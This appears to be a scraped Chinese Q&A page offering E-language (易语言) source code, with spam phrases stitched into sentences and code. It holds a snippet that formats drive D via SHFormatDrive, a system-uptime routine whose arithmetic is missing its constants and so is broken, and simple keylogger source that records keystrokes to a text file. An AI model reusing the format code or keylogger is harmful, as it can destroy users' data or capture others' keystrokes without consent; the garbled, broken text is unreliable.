1.怎么用易语言来删除硬盘D里的易语言快语所有文件?代码怎么写?
2.求一个简单的易语言源码,取系统运行时间的速格能影视app源码
3.易语言做键盘记录器的源码
怎么用易语言来删除硬盘D里的所有文件?代码怎么写?
删除所有文件?那为什么要删除呢,干脆格式化就好了!
以下是代码,直接复制到易语言上粘贴,切勿实机执行,因为会格式化D盘:
.版本 2
.DLL命令 格式化磁盘, 整数型, "shell.dll", "SHFormatDrive"
.参数 hWnd, 整数型
.参数 Drive, 整数型
.参数 fmtID, 整数型
.参数 Options, 整数型
.版本 2
.子程序 _按钮1_被单击
格式化磁盘 (取窗口句柄 (), 3, , 1)
求一个简单的易语言源码,取系统运行时间的盘源gob源码
月数不好定,因为每个月天数不一样。码易brd源码算到天就行了。格盘docs源码
代码如下:
.版本 2
.支持库 spec
.子程序 _按钮1_被单击
.局部变量 运行时间,代码vbad源码 整数型, , , 毫秒
运行时间 = 取启动时间 ()
调试输出 (取毫秒到天 (运行时间))
.子程序 取毫秒到天, 文本型
.参数 参_秒, 整数型
.局部变量 参_秒, 整数型
.局部变量 天, 整数型
.局部变量 小时, 整数型
.局部变量 分钟, 整数型
.局部变量 秒, 整数型
参_秒 = 取启动时间 () ÷
天 = 参_秒 ÷ ÷ ÷
小时 = (参_秒 - 天 × × ) ÷
分钟 = (参_秒 - 天 × × - 小时 × ) ÷
秒 = 参_秒 %
返回 (到文本 (天) + “天” + 到文本 (小时) + “小时” + 到文本 (分钟) + “分钟” + 到文本 (秒) + “秒”)
易语言做键盘记录器的源码
易语言做键盘记录器的源码如下:
程序集
窗口程序集1
子程序
__启动窗口_创建完毕
SkinH_Attach
()
编辑框1禁止
=
真
停止按钮禁止
=
真
信息框
(“欢迎使用小天键盘记录系统,在关闭此记录系统后,易语言快语会自动保存记录的速格内容到运行目录!”,盘源
#信息图标,
“欢迎使用!”)
子程序
_停止按钮_被单击
开始按钮禁止
=
假
编辑框1禁止
=
真
时钟1时钟周期
=
0
停止按钮禁止
=
真
子程序
_开始按钮_被单击
开始按钮禁止
=
真
编辑框1禁止
=
假
时钟1时钟周期
=
停止按钮禁止
=
假
子程序
_时钟1_周期事件
编辑框1加入文本
(看看按键
())
子程序
_按钮1_被单击
编辑框1内容
=
“
”
子程序
__启动窗口_可否被关闭,码易
逻辑型
写到文件
(取运行目录
()
+
“\记录内容txt”,
到字节集
(编辑框1内容))
销毁
()
子程序
_按钮2_被单击
删除文件
(取运行目录
()
+
“\记录内容txt”)